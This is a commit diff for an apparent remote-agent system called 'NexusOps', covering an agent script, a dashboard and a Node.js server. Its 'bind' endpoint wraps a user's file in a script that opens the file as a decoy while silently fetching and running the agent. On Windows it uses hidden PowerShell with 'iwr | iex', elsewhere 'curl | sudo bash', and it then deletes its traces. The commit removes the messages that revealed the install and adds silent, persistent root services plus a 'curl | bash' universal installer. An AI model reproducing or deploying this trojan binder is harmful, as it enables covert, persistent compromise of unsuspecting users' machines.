v3: universal auto-installer, silent mode, silent binders
This commit is contained in:
@@ -590,8 +590,13 @@ def main():
|
||||
global last_log_check_time, heartbeat_interval, node_tags
|
||||
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
|
||||
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
||||
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.silent:
|
||||
sys.stdout = open(os.devnull, 'w')
|
||||
sys.stderr = open(os.devnull, 'w')
|
||||
|
||||
server_url = args.server.rstrip('/')
|
||||
hostname = socket.gethostname()
|
||||
system_os = platform.system()
|
||||
|
||||
@@ -216,14 +216,23 @@
|
||||
|
||||
<div class="modal-body">
|
||||
<div class="os-tabs">
|
||||
<button class="tab-btn active" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Standalone Binary</button>
|
||||
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux Script</button>
|
||||
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows (PowerShell)</button>
|
||||
<button class="tab-btn active" onclick="switchTab('universal')"><i class="fa-solid fa-bolt"></i> Universal</button>
|
||||
<button class="tab-btn" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Binary</button>
|
||||
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux</button>
|
||||
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows</button>
|
||||
<button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
|
||||
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python (Manual)</button>
|
||||
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python</button>
|
||||
</div>
|
||||
|
||||
<div class="tab-content active" id="tab-binary">
|
||||
<div class="tab-content active" id="tab-universal">
|
||||
<p class="tab-description" style="color: var(--accent-emerald);"><strong>Recommended:</strong> Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.</p>
|
||||
<div class="code-block">
|
||||
<code id="codeUniversal">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install | bash</code>
|
||||
<button class="btn-copy" onclick="copyCode('codeUniversal', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="tab-content" id="tab-binary">
|
||||
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
|
||||
<div class="code-block">
|
||||
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
|
||||
|
||||
46
server.js
46
server.js
@@ -248,7 +248,6 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
||||
'$SERVER_URL = "' + serverUrl + '"',
|
||||
'',
|
||||
'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
|
||||
'Write-Host "Extracting $ORIGINAL_NAME ..."',
|
||||
'',
|
||||
'$scriptPath = $MyInvocation.MyCommand.Path',
|
||||
'$lines = Get-Content $scriptPath',
|
||||
@@ -260,12 +259,10 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
||||
'',
|
||||
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
|
||||
'',
|
||||
'Write-Host "[*] Deploying NexusOps agent..."',
|
||||
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command iwr -useb $SERVER_URL/install.ps1 | iex" -WindowStyle Hidden',
|
||||
'',
|
||||
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 30; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
|
||||
'',
|
||||
'Write-Host "Done — file opened, agent deployed."',
|
||||
'__PAYLOAD_BASE64__',
|
||||
...b64Lines
|
||||
];
|
||||
@@ -286,7 +283,6 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
||||
`SERVER_URL="${serverUrl}"`,
|
||||
'',
|
||||
'mkdir -p "$OUTPUT_DIR"',
|
||||
`echo "Extracting ${originalName} ..."`,
|
||||
'',
|
||||
'ARCHIVE_START=$(awk \'$0 == "__PAYLOAD_BASE64__" {print NR+1; exit}\' "$0")',
|
||||
'tail -n +$ARCHIVE_START "$0" | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
|
||||
@@ -301,14 +297,12 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
||||
'fi',
|
||||
'',
|
||||
'# Silently install agent in background',
|
||||
'echo "[*] Deploying NexusOps agent..."',
|
||||
'(curl -sSL "$SERVER_URL/install.sh" 2>/dev/null || curl -sSL --insecure "$SERVER_URL/install.sh" 2>/dev/null) | sudo bash 2>/dev/null &',
|
||||
'(curl -sSL "$SERVER_URL/install-mac.sh" 2>/dev/null | bash 2>/dev/null) &',
|
||||
'',
|
||||
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
|
||||
'disown',
|
||||
'',
|
||||
'echo "Done — file opened, agent deployed."',
|
||||
'exit 0',
|
||||
'__PAYLOAD_BASE64__',
|
||||
b64Content
|
||||
@@ -652,7 +646,7 @@ After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL
|
||||
ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent
|
||||
Restart=always
|
||||
RestartSec=5
|
||||
User=root
|
||||
@@ -694,7 +688,7 @@ Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
|
||||
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
|
||||
|
||||
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
|
||||
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL" -WindowStyle Hidden
|
||||
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
|
||||
|
||||
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
|
||||
`;
|
||||
@@ -743,6 +737,7 @@ cat << EOF > "$PLIST_FILE"
|
||||
<string>$INSTALL_DIR/agent.py</string>
|
||||
<string>--server</string>
|
||||
<string>$SERVER_URL</string>
|
||||
<string>--silent</string>
|
||||
</array>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
@@ -766,6 +761,41 @@ echo " To stop: launchctl unload $PLIST_FILE"
|
||||
res.send(script);
|
||||
});
|
||||
|
||||
// ── Universal Auto-Install (one command, any OS, fully silent) ──
|
||||
app.get('/install', (req, res) => {
|
||||
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
||||
const silent = req.query.silent !== '0'; // silent by default
|
||||
const quiet = silent ? '>/dev/null 2>&1' : '';
|
||||
const script = `#!/bin/bash
|
||||
# NexusOps Universal Auto-Installer — one command, any OS
|
||||
SERVER_URL="http://${host}"
|
||||
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
||||
|
||||
case "$(uname -s 2>/dev/null || echo Windows)" in
|
||||
Linux)
|
||||
echo "[*] Linux detected — deploying via systemd"
|
||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
|
||||
;;
|
||||
Darwin)
|
||||
echo "[*] macOS detected — deploying via launchd"
|
||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} &
|
||||
;;
|
||||
CYGWIN*|MINGW*|MSYS*|Windows)
|
||||
echo "[*] Windows detected — deploying via PowerShell"
|
||||
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} &
|
||||
;;
|
||||
*)
|
||||
echo "[!] Unknown OS — trying Linux installer as fallback"
|
||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
|
||||
;;
|
||||
esac
|
||||
|
||||
echo "[*] Agent deployment initiated — it will register within 10 seconds"
|
||||
`;
|
||||
res.setHeader('Content-Type', 'text/plain');
|
||||
res.send(script);
|
||||
});
|
||||
|
||||
app.get('/agent.py', (req, res) => {
|
||||
res.sendFile(path.join(__dirname, 'agents', 'agent.py'));
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user